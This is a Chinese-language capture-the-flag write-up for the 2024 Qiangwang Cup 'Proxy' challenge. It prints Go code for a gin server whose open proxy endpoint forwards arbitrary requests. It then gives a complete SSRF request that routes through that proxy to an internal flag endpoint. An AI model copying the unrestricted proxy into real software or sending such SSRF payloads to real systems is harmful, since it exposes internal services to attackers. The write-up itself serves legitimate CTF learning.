2024强网杯Proxy
代码审计
首先分析go语言代码
package main
import (
"bytes"
"io"
"net/http"
"os/exec"
"github.com/gin-gonic/gin"
)
type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}
func main() {
r := gin.Default()
v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}
v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}
if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}
return nil
},
}
req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}
c.Writer.Write(body)
c.Abort()
})
}
r.Run("127.0.0.1:8769")
}
分析代码,这个代码使用的是gin框架,
核心代码
这个题目的和核心代码就是下面这些。
type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}
首先是定义了一段结构体,这段结构体定义了代理请求的格式,也就是说我们需要传入参数的格式与内容。
然后就是API路由
v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}
创建一个/v1路由组,并添加POST请求的api/flag路由
这个路由的作用就是执行readflag命令,得到flag
然后就是v2路由
v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}
创建v2路由组,并添加一个POST的请求/api/proxy路由
这个路由接收我们刚才定义的结构体中的数据
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}
if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}
return nil
},
}
这段代码就是创建一个自定义的http客户端,并设置重定向规则,如果请求不是绝对url,就阻止重定向。
req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
根据ProxyRequest中的参数创建一个新的HTTP请求
并将请求头设置为来自请求的头信息
发送请求并获取响应
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}
c.Writer.Write(body)
c.Abort()
})
}
这段代码主要作用就是处理响应的错误,以及读取响应体内容和返回状态码与头信息。
构造payload
然后就可以根据代码来构造请求了
POST /v2/api/proxy HTTP/1.1
Host: 8.147.129.74:26637
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
{
"url": "http://127.0.0.1:8769/v1/api/flag",
"method": "POST",
"body": "null",
"headers": {
"Authorization": "null"
},
"follow_redirects": true
}
发包,得到flag。